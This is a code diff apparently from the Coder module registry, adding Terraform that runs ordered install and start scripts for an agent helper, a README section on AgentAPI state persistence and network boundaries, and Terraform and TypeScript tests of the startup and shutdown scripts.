||||
encoded_install_script = var.install_script != null ? base64encode(var.install_script) : ""
|
||||
encoded_post_install_script = var.post_install_script != null ? base64encode(var.post_install_script) : ""
|
||||
encoded_start_script = base64encode(var.start_script)
|
||||
|
||||
pre_install_script_name = "${var.agent_name}-pre_install_script"
|
||||
install_script_name = "${var.agent_name}-install_script"
|
||||
post_install_script_name = "${var.agent_name}-post_install_script"
|
||||
start_script_name = "${var.agent_name}-start_script"
|
||||
|
||||
module_dir_path = "$HOME/${var.module_dir_name}"
|
||||
|
||||
pre_install_path = "${local.module_dir_path}/pre_install.sh"
|
||||
install_path = "${local.module_dir_path}/install.sh"
|
||||
post_install_path = "${local.module_dir_path}/post_install.sh"
|
||||
start_path = "${local.module_dir_path}/start.sh"
|
||||
|
||||
pre_install_log_path = "${local.module_dir_path}/pre_install.log"
|
||||
install_log_path = "${local.module_dir_path}/install.log"
|
||||
post_install_log_path = "${local.module_dir_path}/post_install.log"
|
||||
start_log_path = "${local.module_dir_path}/start.log"
|
||||
}
|
||||
|
||||
resource "coder_script" "pre_install_script" {
|
||||
count = var.pre_install_script == null ? 0 : 1
|
||||
agent_id = var.agent_id
|
||||
display_name = "Pre-Install Script"
|
||||
run_on_start = true
|
||||
script = <<-EOT
|
||||
#!/bin/bash
|
||||
set -o errexit
|
||||
set -o pipefail
|
||||
|
||||
mkdir -p ${local.module_dir_path}
|
||||
|
||||
trap 'coder exp sync complete ${local.pre_install_script_name}' EXIT
|
||||
coder exp sync start ${local.pre_install_script_name}
|
||||
|
||||
echo -n '${local.encoded_pre_install_script}' | base64 -d > ${local.pre_install_path}
|
||||
chmod +x ${local.pre_install_path}
|
||||
|
||||
${local.pre_install_path} > ${local.pre_install_log_path} 2>&1
|
||||
EOT
|
||||
}
|
||||
|
||||
resource "coder_script" "install_script" {
|
||||
agent_id = var.agent_id
|
||||
display_name = "Install Script"
|
||||
run_on_start = true
|
||||
script = <<-EOT
|
||||
#!/bin/bash
|
||||
set -o errexit
|
||||
set -o pipefail
|
||||
|
||||
mkdir -p ${local.module_dir_path}
|
||||
|
||||
trap 'coder exp sync complete ${local.install_script_name}' EXIT
|
||||
%{if var.pre_install_script != null~}
|
||||
coder exp sync want ${local.install_script_name} ${local.pre_install_script_name}
|
||||
%{endif~}
|
||||
coder exp sync start ${local.install_script_name}
|
||||
echo -n '${local.encoded_install_script}' | base64 -d > ${local.install_path}
|
||||
chmod +x ${local.install_path}
|
||||
|
||||
${local.install_path} > ${local.install_log_path} 2>&1
|
||||
EOT
|
||||
}
|
||||
|
||||
resource "coder_script" "post_install_script" {
|
||||
count = var.post_install_script != null ? 1 : 0
|
||||
agent_id = var.agent_id
|
||||
display_name = "Post-Install Script"
|
||||
run_on_start = true
|
||||
script = <<-EOT
|
||||
#!/bin/bash
|
||||
set -o errexit
|
||||
set -o pipefail
|
||||
|
||||
trap 'coder exp sync complete ${local.post_install_script_name}' EXIT
|
||||
coder exp sync want ${local.post_install_script_name} ${local.install_script_name}
|
||||
coder exp sync start ${local.post_install_script_name}
|
||||
|
||||
echo -n '${local.encoded_post_install_script}' | base64 -d > ${local.post_install_path}
|
||||
chmod +x ${local.post_install_path}
|
||||
|
||||
${local.post_install_path} > ${local.post_install_log_path} 2>&1
|
||||
EOT
|
||||
}
|
||||
|
||||
resource "coder_script" "start_script" {
|
||||
agent_id = var.agent_id
|
||||
display_name = "Start Script"
|
||||
run_on_start = true
|
||||
script = <<-EOT
|
||||
#!/bin/bash
|
||||
set -o errexit
|
||||
set -o pipefail
|
||||
|
||||
trap 'coder exp sync complete ${local.start_script_name}' EXIT
|
||||
|
||||
%{if var.post_install_script != null~}
|
||||
coder exp sync want ${local.start_script_name} ${local.install_script_name} ${local.post_install_script_name}
|
||||
%{else~}
|
||||
coder exp sync want ${local.start_script_name} ${local.install_script_name}
|
||||
%{endif~}
|
||||
coder exp sync start ${local.start_script_name}
|
||||
|
||||
echo -n '${local.encoded_start_script}' | base64 -d > ${local.start_path}
|
||||
chmod +x ${local.start_path}
|
||||
|
||||
${local.start_path} > ${local.start_log_path} 2>&1
|
||||
EOT
|
||||
}
|
||||
|
||||
output "pre_install_script_name" {
|
||||
description = "The name of the pre-install script for sync."
|
||||
value = local.pre_install_script_name
|
||||
}
|
||||
|
||||
output "install_script_name" {
|
||||
description = "The name of the install script for sync."
|
||||
value = local.install_script_name
|
||||
}
|
||||
|
||||
output "post_install_script_name" {
|
||||
description = "The name of the post-install script for sync."
|
||||
value = local.post_install_script_name
|
||||
}
|
||||
|
||||
output "start_script_name" {
|
||||
description = "The name of the start script for sync."
|
||||
value = local.start_script_name
|
||||
}
|
||||
@@ -0,0 +1,271 @@
|
||||
# Test for agent-helper module
|
||||
|
||||
# Test with all scripts provided
|
||||
run "test_with_all_scripts" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent-id"
|
||||
agent_name = "test-agent"
|
||||
module_dir_name = ".test-module"
|
||||
pre_install_script = "echo 'pre-install'"
|
||||
install_script = "echo 'install'"
|
||||
post_install_script = "echo 'post-install'"
|
||||
start_script = "echo 'start'"
|
||||
}
|
||||
|
||||
# Verify pre_install_script is created when provided
|
||||
assert {
|
||||
condition = length(coder_script.pre_install_script) == 1
|
||||
error_message = "Pre-install script should be created when pre_install_script is provided"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.pre_install_script[0].agent_id == "test-agent-id"
|
||||
error_message = "Pre-install script agent ID should match input"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.pre_install_script[0].display_name == "Pre-Install Script"
|
||||
error_message = "Pre-install script should have correct display name"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.pre_install_script[0].run_on_start == true
|
||||
error_message = "Pre-install script should run on start"
|
||||
}
|
||||
|
||||
# Verify install_script is created
|
||||
assert {
|
||||
condition = coder_script.install_script.agent_id == "test-agent-id"
|
||||
error_message = "Install script agent ID should match input"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.install_script.display_name == "Install Script"
|
||||
error_message = "Install script should have correct display name"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.install_script.run_on_start == true
|
||||
error_message = "Install script should run on start"
|
||||
}
|
||||
|
||||
# Verify post_install_script is created when provided
|
||||
assert {
|
||||
condition = length(coder_script.post_install_script) == 1
|
||||
error_message = "Post-install script should be created when post_install_script is provided"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.post_install_script[0].agent_id == "test-agent-id"
|
||||
error_message = "Post-install script agent ID should match input"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.post_install_script[0].display_name == "Post-Install Script"
|
||||
error_message = "Post-install script should have correct display name"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.post_install_script[0].run_on_start == true
|
||||
error_message = "Post-install script should run on start"
|
||||
}
|
||||
|
||||
# Verify start_script is created
|
||||
assert {
|
||||
condition = coder_script.start_script.agent_id == "test-agent-id"
|
||||
error_message = "Start script agent ID should match input"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.start_script.display_name == "Start Script"
|
||||
error_message = "Start script should have correct display name"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.start_script.run_on_start == true
|
||||
error_message = "Start script should run on start"
|
||||
}
|
||||
|
||||
# Verify outputs for script names
|
||||
assert {
|
||||
condition = output.pre_install_script_name == "test-agent-pre_install_script"
|
||||
error_message = "Pre-install script name output should be correctly formatted"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = output.install_script_name == "test-agent-install_script"
|
||||
error_message = "Install script name output should be correctly formatted"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = output.post_install_script_name == "test-agent-post_install_script"
|
||||
error_message = "Post-install script name output should be correctly formatted"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = output.start_script_name == "test-agent-start_script"
|
||||
error_message = "Start script name output should be correctly formatted"
|
||||
}
|
||||
}
|
||||
|
||||
# Test with only required scripts (no pre/post install)
|
||||
run "test_without_optional_scripts" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent-id"
|
||||
agent_name = "test-agent"
|
||||
module_dir_name = ".test-module"
|
||||
install_script = "echo 'install'"
|
||||
start_script = "echo 'start'"
|
||||
}
|
||||
|
||||
# Verify pre_install_script is NOT created when not provided
|
||||
assert {
|
||||
condition = length(coder_script.pre_install_script) == 0
|
||||
error_message = "Pre-install script should not be created when pre_install_script is null"
|
||||
}
|
||||
|
||||
# Verify post_install_script is NOT created when not provided
|
||||
assert {
|
||||
condition = length(coder_script.post_install_script) == 0
|
||||
error_message = "Post-install script should not be created when post_install_script is null"
|
||||
}
|
||||
|
||||
# Verify required scripts are still created
|
||||
assert {
|
||||
condition = coder_script.install_script.agent_id == "test-agent-id"
|
||||
error_message = "Install script should be created"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.start_script.agent_id == "test-agent-id"
|
||||
error_message = "Start script should be created"
|
||||
}
|
||||
|
||||
# Verify outputs
|
||||
assert {
|
||||
condition = output.pre_install_script_name == "test-agent-pre_install_script"
|
||||
error_message = "Pre-install script name output should be generated even when script is not created"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = output.install_script_name == "test-agent-install_script"
|
||||
error_message = "Install script name output should be correctly formatted"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = output.post_install_script_name == "test-agent-post_install_script"
|
||||
error_message = "Post-install script name output should be generated even when script is not created"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = output.start_script_name == "test-agent-start_script"
|
||||
error_message = "Start script name output should be correctly formatted"
|
||||
}
|
||||
}
|
||||
|
||||
# Test with mock data sources
|
||||
run "test_with_mock_data" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "mock-agent"
|
||||
agent_name = "mock-agent"
|
||||
module_dir_name = ".mock-module"
|
||||
install_script = "echo 'install'"
|
||||
start_script = "echo 'start'"
|
||||
}
|
||||
|
||||
# Mock the data sources for testing
|
||||
override_data {
|
||||
target = data.coder_workspace.me
|
||||
values = {
|
||||
id = "test-workspace-id"
|
||||
name = "test-workspace"
|
||||
owner = "test-owner"
|
||||
owner_id = "test-owner-id"
|
||||
template_id = "test-template-id"
|
||||
template_name = "test-template"
|
||||
access_url = "https://coder.example.com"
|
||||
start_count = 1
|
||||
transition = "start"
|
||||
}
|
||||
}
|
||||
|
||||
override_data {
|
||||
target = data.coder_workspace_owner.me
|
||||
values = {
|
||||
id = "test-owner-id"
|
||||
email = "test@example.com"
|
||||
name = "Test User"
|
||||
session_token = "mock-token"
|
||||
}
|
||||
}
|
||||
|
||||
override_data {
|
||||
target = data.coder_task.me
|
||||
values = {
|
||||
id = "test-task-id"
|
||||
}
|
||||
}
|
||||
|
||||
# Verify scripts are created with mocked data
|
||||
assert {
|
||||
condition = coder_script.install_script.agent_id == "mock-agent"
|
||||
error_message = "Install script should use the mocked agent ID"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.start_script.agent_id == "mock-agent"
|
||||
error_message = "Start script should use the mocked agent ID"
|
||||
}
|
||||
}
|
||||
|
||||
# Test script naming with custom agent_name
|
||||
run "test_script_naming" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent"
|
||||
agent_name = "custom-name"
|
||||
module_dir_name = ".test-module"
|
||||
install_script = "echo 'install'"
|
||||
start_script = "echo 'start'"
|
||||
}
|
||||
|
||||
# Verify script names are constructed correctly
|
||||
# The script should contain references to custom-name-* in the sync commands
|
||||
assert {
|
||||
condition = can(regex("custom-name-install_script", coder_script.install_script.script))
|
||||
error_message = "Install script should use custom agent_name in sync commands"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = can(regex("custom-name-start_script", coder_script.start_script.script))
|
||||
error_message = "Start script should use custom agent_name in sync commands"
|
||||
}
|
||||
|
||||
# Verify outputs use custom agent_name
|
||||
assert {
|
||||
condition = output.pre_install_script_name == "custom-name-pre_install_script"
|
||||
error_message = "Pre-install script name output should use custom agent_name"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = output.install_script_name == "custom-name-install_script"
|
||||
error_message = "Install script name output should use custom agent_name"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = output.post_install_script_name == "custom-name-post_install_script"
|
||||
error_message = "Post-install script name output should use custom agent_name"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = output.start_script_name == "custom-name-start_script"
|
||||
error_message = "Start script name output should use custom agent_name"
|
||||
}
|
||||
}
|
||||
@@ -16,7 +16,7 @@ The AgentAPI module is a building block for modules that need to run an AgentAPI
|
||||
```tf
|
||||
module "agentapi" {
|
||||
source = "registry.coder.com/coder/agentapi/coder"
|
||||
version = "2.1.0"
|
||||
version = "2.3.0"
|
||||
|
||||
agent_id = var.agent_id
|
||||
web_app_slug = local.app_slug
|
||||
@@ -62,6 +62,73 @@ module "agentapi" {
|
||||
}
|
||||
```
|
||||
|
||||
## State Persistence
|
||||
|
||||
AgentAPI can save and restore conversation state across workspace restarts.
|
||||
This is disabled by default and requires agentapi binary >= v0.12.0.
|
||||
|
||||
State and PID files are stored in `$HOME/<module_dir_name>/` alongside other module files (e.g. `$HOME/.claude-module/agentapi-state.json`).
|
||||
|
||||
To enable:
|
||||
|
||||
```tf
|
||||
module "agentapi" {
|
||||
# ... other config
|
||||
enable_state_persistence = true
|
||||
}
|
||||
```
|
||||
|
||||
To override file paths:
|
||||
|
||||
```tf
|
||||
module "agentapi" {
|
||||
# ... other config
|
||||
state_file_path = "/custom/path/state.json"
|
||||
pid_file_path = "/custom/path/agentapi.pid"
|
||||
}
|
||||
```
|
||||
|
||||
## Boundary (Network Filtering)
|
||||
|
||||
The agentapi module supports optional [Agent Boundaries](https://coder.com/docs/ai-coder/agent-boundaries)
|
||||
for network filtering. When enabled, the module sets up a `AGENTAPI_BOUNDARY_PREFIX` environment
|
||||
variable that points to a wrapper script. Agent modules should use this prefix in their
|
||||
start scripts to run the agent process through boundary.
|
||||
|
||||
Boundary requires a `config.yaml` file with your allowlist, jail type, proxy port, and log
|
||||
level. See the [Agent Boundaries documentation](https://coder.com/docs/ai-coder/agent-boundaries)
|
||||
for configuration details.
|
||||
To enable:
|
||||
|
||||
```tf
|
||||
module "agentapi" {
|
||||
# ... other config
|
||||
enable_boundary = true
|
||||
boundary_config_path = "/home/coder/.config/coder_boundary/config.yaml"
|
||||
|
||||
# Optional: install boundary binary instead of using coder subcommand
|
||||
# use_boundary_directly = true
|
||||
# boundary_version = "0.6.0"
|
||||
# compile_boundary_from_source = false
|
||||
}
|
||||
```
|
||||
|
||||
### Contract for agent modules
|
||||
|
||||
When `enable_boundary = true`, the agentapi module exports `AGENTAPI_BOUNDARY_PREFIX`
|
||||
as an environment variable pointing to a wrapper script. Agent module start scripts
|
||||
should check for this variable and use it to prefix the agent command:
|
||||
|
||||
```bash
|
||||
if [ -n "${AGENTAPI_BOUNDARY_PREFIX:-}" ]; then
|
||||
agentapi server -- "${AGENTAPI_BOUNDARY_PREFIX}" my-agent "${ARGS[@]}" &
|
||||
else
|
||||
agentapi server -- my-agent "${ARGS[@]}" &
|
||||
fi
|
||||
```
|
||||
|
||||
This ensures only the agent process is sandboxed while agentapi itself runs unrestricted.
|
||||
|
||||
## For module developers
|
||||
|
||||
For a complete example of how to use this module, see the [Goose module](https://github.com/coder/registry/blob/main/registry/coder/modules/goose/main.tf).
|
||||
|
||||
@@ -0,0 +1,108 @@
|
||||
mock_provider "coder" {}
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent"
|
||||
web_app_icon = "/icon/test.svg"
|
||||
web_app_display_name = "Test"
|
||||
web_app_slug = "test"
|
||||
cli_app_display_name = "Test CLI"
|
||||
cli_app_slug = "test-cli"
|
||||
start_script = "echo test"
|
||||
module_dir_name = ".test-module"
|
||||
}
|
||||
|
||||
run "default_values" {
|
||||
command = plan
|
||||
|
||||
assert {
|
||||
condition = var.enable_state_persistence == false
|
||||
error_message = "enable_state_persistence should default to false"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.state_file_path == ""
|
||||
error_message = "state_file_path should default to empty string"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.pid_file_path == ""
|
||||
error_message = "pid_file_path should default to empty string"
|
||||
}
|
||||
|
||||
# Verify start script contains state persistence ARG_ vars.
|
||||
assert {
|
||||
condition = can(regex("ARG_ENABLE_STATE_PERSISTENCE", coder_script.agentapi.script))
|
||||
error_message = "start script should contain ARG_ENABLE_STATE_PERSISTENCE"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = can(regex("ARG_STATE_FILE_PATH", coder_script.agentapi.script))
|
||||
error_message = "start script should contain ARG_STATE_FILE_PATH"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = can(regex("ARG_PID_FILE_PATH", coder_script.agentapi.script))
|
||||
error_message = "start script should contain ARG_PID_FILE_PATH"
|
||||
}
|
||||
|
||||
# Verify shutdown script contains PID-related ARG_ vars.
|
||||
assert {
|
||||
condition = can(regex("ARG_PID_FILE_PATH", coder_script.agentapi_shutdown.script))
|
||||
error_message = "shutdown script should contain ARG_PID_FILE_PATH"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = can(regex("ARG_MODULE_DIR_NAME", coder_script.agentapi_shutdown.script))
|
||||
error_message = "shutdown script should contain ARG_MODULE_DIR_NAME"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = can(regex("ARG_ENABLE_STATE_PERSISTENCE", coder_script.agentapi_shutdown.script))
|
||||
error_message = "shutdown script should contain ARG_ENABLE_STATE_PERSISTENCE"
|
||||
}
|
||||
}
|
||||
|
||||
run "state_persistence_disabled" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
enable_state_persistence = false
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.enable_state_persistence == false
|
||||
error_message = "enable_state_persistence should be false"
|
||||
}
|
||||
|
||||
# Even when disabled, the ARG_ vars should still be in the script
|
||||
# (the shell script handles the conditional logic).
|
||||
assert {
|
||||
condition = can(regex("ARG_ENABLE_STATE_PERSISTENCE='false'", coder_script.agentapi.script))
|
||||
error_message = "start script should contain ARG_ENABLE_STATE_PERSISTENCE='false'"
|
||||
}
|
||||
}
|
||||
|
||||
run "custom_paths" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
state_file_path = "/custom/state.json"
|
||||
pid_file_path = "/custom/agentapi.pid"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = can(regex("/custom/state.json", coder_script.agentapi.script))
|
||||
error_message = "start script should contain custom state_file_path"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = can(regex("/custom/agentapi.pid", coder_script.agentapi.script))
|
||||
error_message = "start script should contain custom pid_file_path"
|
||||
}
|
||||
|
||||
# Verify custom paths also appear in shutdown script.
|
||||
assert {
|
||||
condition = can(regex("/custom/agentapi.pid", coder_script.agentapi_shutdown.script))
|
||||
error_message = "shutdown script should contain custom pid_file_path"
|
||||
}
|
||||
}
|
||||
@@ -258,11 +258,76 @@ describe("agentapi", async () => {
|
||||
expect(agentApiStartLog).toContain("AGENTAPI_ALLOWED_HOSTS: *");
|
||||
});
|
||||
|
||||
test("state-persistence-disabled", async () => {
|
||||
const { id } = await setup({
|
||||
moduleVariables: {
|
||||
enable_state_persistence: "false",
|
||||
},
|
||||
});
|
||||
await execModuleScript(id);
|
||||
await expectAgentAPIStarted(id);
|
||||
const mockLog = await readFileContainer(
|
||||
id,
|
||||
"/home/coder/agentapi-mock.log",
|
||||
);
|
||||
// PID file should always be exported
|
||||
expect(mockLog).toContain("AGENTAPI_PID_FILE:");
|
||||
// State vars should NOT be present when disabled
|
||||
expect(mockLog).not.toContain("AGENTAPI_STATE_FILE:");
|
||||
expect(mockLog).not.toContain("AGENTAPI_SAVE_STATE:");
|
||||
expect(mockLog).not.toContain("AGENTAPI_LOAD_STATE:");
|
||||
});
|
||||
|
||||
test("state-persistence-custom-paths", async () => {
|
||||
const { id } = await setup({
|
||||
moduleVariables: {
|
||||
enable_state_persistence: "true",
|
||||
state_file_path: "/home/coder/custom/state.json",
|
||||
pid_file_path: "/home/coder/custom/agentapi.pid",
|
||||
},
|
||||
});
|
||||
await execModuleScript(id);
|
||||
await expectAgentAPIStarted(id);
|
||||
const mockLog = await readFileContainer(
|
||||
id,
|
||||
"/home/coder/agentapi-mock.log",
|
||||
);
|
||||
expect(mockLog).toContain(
|
||||
"AGENTAPI_STATE_FILE: /home/coder/custom/state.json",
|
||||
);
|
||||
expect(mockLog).toContain(
|
||||
"AGENTAPI_PID_FILE: /home/coder/custom/agentapi.pid",
|
||||
);
|
||||
});
|
||||
|
||||
test("state-persistence-default-paths", async () => {
|
||||
const { id } = await setup({
|
||||
moduleVariables: {
|
||||
enable_state_persistence: "true",
|
||||
},
|
||||
});
|
||||
await execModuleScript(id);
|
||||
await expectAgentAPIStarted(id);
|
||||
const mockLog = await readFileContainer(
|
||||
id,
|
||||
"/home/coder/agentapi-mock.log",
|
||||
);
|
||||
expect(mockLog).toContain(
|
||||
`AGENTAPI_STATE_FILE: /home/coder/${moduleDirName}/agentapi-state.json`,
|
||||
);
|
||||
expect(mockLog).toContain(
|
||||
`AGENTAPI_PID_FILE: /home/coder/${moduleDirName}/agentapi.pid`,
|
||||
);
|
||||
expect(mockLog).toContain("AGENTAPI_SAVE_STATE: true");
|
||||
expect(mockLog).toContain("AGENTAPI_LOAD_STATE: true");
|
||||
});
|
||||
|
||||
describe("shutdown script", async () => {
|
||||
const setupMocks = async (
|
||||
containerId: string,
|
||||
agentapiPreset: string,
|
||||
httpCode: number = 204,
|
||||
pidFilePath: string = "",
|
||||
) => {
|
||||
const agentapiMock = await loadTestFile(
|
||||
import.meta.dir,
|
||||
@@ -285,10 +350,11 @@ describe("agentapi", async () => {
|
||||
content: coderMock,
|
||||
});
|
||||
|
||||
const pidFileEnv = pidFilePath ? `AGENTAPI_PID_FILE=${pidFilePath}` : "";
|
||||
await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
`PRESET=${agentapiPreset} nohup node /usr/local/bin/mock-agentapi 3284 > /tmp/mock-agentapi.log 2>&1 &`,
|
||||
`PRESET=${agentapiPreset} ${pidFileEnv} nohup node /usr/local/bin/mock-agentapi 3284 > /tmp/mock-agentapi.log 2>&1 &`,
|
||||
]);
|
||||
|
||||
await execContainer(containerId, [
|
||||
@@ -303,12 +369,25 @@ describe("agentapi", async () => {
|
||||
const runShutdownScript = async (
|
||||
containerId: string,
|
||||
taskId: string = "test-task",
|
||||
pidFilePath: string = "",
|
||||
enableStatePersistence: string = "false",
|
||||
) => {
|
||||
const shutdownScript = await loadTestFile(
|
||||
import.meta.dir,
|
||||
"../scripts/agentapi-shutdown.sh",
|
||||
);
|
||||
|
||||
const libScript = await loadTestFile(
|
||||
import.meta.dir,
|
||||
"../scripts/lib.sh",
|
||||
);
|
||||
|
||||
await writeExecutable({
|
||||
containerId,
|
||||
filePath: "/tmp/agentapi-lib.sh",
|
||||
content: libScript,
|
||||
});
|
||||
|
||||
await writeExecutable({
|
||||
containerId,
|
||||
filePath: "/tmp/shutdown.sh",
|
||||
@@ -318,7 +397,7 @@ describe("agentapi", async () => {
|
||||
return await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
`ARG_TASK_ID=${taskId} ARG_AGENTAPI_PORT=3284 CODER_AGENT_URL=http://localhost:18080 CODER_AGENT_TOKEN=test-token /tmp/shutdown.sh`,
|
||||
`ARG_TASK_ID=${taskId} ARG_AGENTAPI_PORT=3284 ARG_PID_FILE_PATH=${pidFilePath} ARG_ENABLE_STATE_PERSISTENCE=${enableStatePersistence} CODER_AGENT_URL=http://localhost:18080 CODER_AGENT_TOKEN=test-token /tmp/shutdown.sh`,
|
||||
]);
|
||||
};
|
||||
|
||||
@@ -334,6 +413,7 @@ describe("agentapi", async () => {
|
||||
expect(result.exitCode).toBe(0);
|
||||
expect(result.stdout).toContain("Retrieved 5 messages for log snapshot");
|
||||
expect(result.stdout).toContain("Log snapshot posted successfully");
|
||||
expect(result.stdout).not.toContain("Log snapshot capture failed");
|
||||
|
||||
const posted = await readFileContainer(id, "/tmp/snapshot-posted.json");
|
||||
const snapshot = JSON.parse(posted);
|
||||
@@ -409,5 +489,233 @@ describe("agentapi", async () => {
|
||||
"Log snapshot endpoint not supported by this Coder version",
|
||||
);
|
||||
});
|
||||
|
||||
test("sends SIGUSR1 before shutdown", async () => {
|
||||
const { id } = await setup({
|
||||
moduleVariables: {},
|
||||
skipAgentAPIMock: true,
|
||||
});
|
||||
const pidFile = "/tmp/agentapi-test.pid";
|
||||
await setupMocks(id, "normal", 204, pidFile);
|
||||
const result = await runShutdownScript(id, "test-task", pidFile, "true");
|
||||
|
||||
expect(result.exitCode).toBe(0);
|
||||
expect(result.stdout).toContain("Sending SIGUSR1 to AgentAPI");
|
||||
|
||||
const sigusr1Log = await readFileContainer(id, "/tmp/sigusr1-received");
|
||||
expect(sigusr1Log).toContain("SIGUSR1 received");
|
||||
});
|
||||
|
||||
test("handles missing PID file gracefully", async () => {
|
||||
const { id } = await setup({
|
||||
moduleVariables: {},
|
||||
skipAgentAPIMock: true,
|
||||
});
|
||||
await setupMocks(id, "normal");
|
||||
// Pass a non-existent PID file path with persistence enabled to
|
||||
// exercise the SIGUSR1 path with a missing PID.
|
||||
const result = await runShutdownScript(
|
||||
id,
|
||||
"test-task",
|
||||
"/tmp/nonexistent.pid",
|
||||
"true",
|
||||
);
|
||||
|
||||
expect(result.exitCode).toBe(0);
|
||||
expect(result.stdout).toContain("Shutdown complete");
|
||||
});
|
||||
|
||||
test("sends SIGTERM even when snapshot fails", async () => {
|
||||
const { id } = await setup({
|
||||
moduleVariables: {},
|
||||
skipAgentAPIMock: true,
|
||||
});
|
||||
const pidFile = "/tmp/agentapi-test.pid";
|
||||
// HTTP 500 will cause snapshot to fail
|
||||
await setupMocks(id, "normal", 500, pidFile);
|
||||
const result = await runShutdownScript(id, "test-task", pidFile, "true");
|
||||
|
||||
expect(result.exitCode).toBe(0);
|
||||
expect(result.stdout).toContain(
|
||||
"Log snapshot capture failed, continuing shutdown",
|
||||
);
|
||||
expect(result.stdout).toContain("Sending SIGTERM to AgentAPI");
|
||||
});
|
||||
|
||||
test("resolves default PID path from MODULE_DIR_NAME", async () => {
|
||||
const { id } = await setup({
|
||||
moduleVariables: {},
|
||||
skipAgentAPIMock: true,
|
||||
});
|
||||
// Start mock with PID file at the module_dir_name default location.
|
||||
const defaultPidPath = `/home/coder/${moduleDirName}/agentapi.pid`;
|
||||
await setupMocks(id, "normal", 204, defaultPidPath);
|
||||
// Don't pass pidFilePath - let shutdown script compute it from MODULE_DIR_NAME.
|
||||
const shutdownScript = await loadTestFile(
|
||||
import.meta.dir,
|
||||
"../scripts/agentapi-shutdown.sh",
|
||||
);
|
||||
const libScript = await loadTestFile(
|
||||
import.meta.dir,
|
||||
"../scripts/lib.sh",
|
||||
);
|
||||
await writeExecutable({
|
||||
containerId: id,
|
||||
filePath: "/tmp/agentapi-lib.sh",
|
||||
content: libScript,
|
||||
});
|
||||
await writeExecutable({
|
||||
containerId: id,
|
||||
filePath: "/tmp/shutdown.sh",
|
||||
content: shutdownScript,
|
||||
});
|
||||
const result = await execContainer(id, [
|
||||
"bash",
|
||||
"-c",
|
||||
`ARG_TASK_ID=test-task ARG_AGENTAPI_PORT=3284 ARG_MODULE_DIR_NAME=${moduleDirName} ARG_ENABLE_STATE_PERSISTENCE=true CODER_AGENT_URL=http://localhost:18080 CODER_AGENT_TOKEN=test-token /tmp/shutdown.sh`,
|
||||
]);
|
||||
|
||||
expect(result.exitCode).toBe(0);
|
||||
expect(result.stdout).toContain("Sending SIGUSR1 to AgentAPI");
|
||||
expect(result.stdout).toContain("Sending SIGTERM to AgentAPI");
|
||||
});
|
||||
|
||||
test("skips SIGUSR1 when no PID file available", async () => {
|
||||
const { id } = await setup({
|
||||
moduleVariables: {},
|
||||
skipAgentAPIMock: true,
|
||||
});
|
||||
await setupMocks(id, "normal", 204);
|
||||
// No pidFilePath and no MODULE_DIR_NAME, so no PID file can be resolved.
|
||||
const result = await runShutdownScript(id, "test-task", "", "false");
|
||||
|
||||
expect(result.exitCode).toBe(0);
|
||||
// Should not send SIGUSR1 or SIGTERM (no PID to signal).
|
||||
expect(result.stdout).not.toContain("Sending SIGUSR1");
|
||||
expect(result.stdout).not.toContain("Sending SIGTERM");
|
||||
expect(result.stdout).toContain("Shutdown complete");
|
||||
});
|
||||
|
||||
test("skips SIGUSR1 when state persistence disabled", async () => {
|
||||
const { id } = await setup({
|
||||
moduleVariables: {},
|
||||
skipAgentAPIMock: true,
|
||||
});
|
||||
const pidFile = "/tmp/agentapi-test.pid";
|
||||
await setupMocks(id, "normal", 204, pidFile);
|
||||
// PID file exists but state persistence is disabled.
|
||||
const result = await runShutdownScript(id, "test-task", pidFile, "false");
|
||||
|
||||
expect(result.exitCode).toBe(0);
|
||||
// Should NOT send SIGUSR1 (persistence disabled).
|
||||
expect(result.stdout).not.toContain("Sending SIGUSR1");
|
||||
// Should still send SIGTERM (graceful shutdown always happens).
|
||||
expect(result.stdout).toContain("Sending SIGTERM to AgentAPI");
|
||||
});
|
||||
});
|
||||
|
||||
describe("boundary", async () => {
|
||||
test("boundary-disabled-by-default", async () => {
|
||||
const { id } = await setup();
|
||||
await execModuleScript(id);
|
||||
await expectAgentAPIStarted(id);
|
||||
// Config file should NOT exist when boundary is disabled
|
||||
const configCheck = await execContainer(id, [
|
||||
"bash",
|
||||
"-c",
|
||||
"test -f /home/coder/.config/coder_boundary/config.yaml && echo exists || echo missing",
|
||||
]);
|
||||
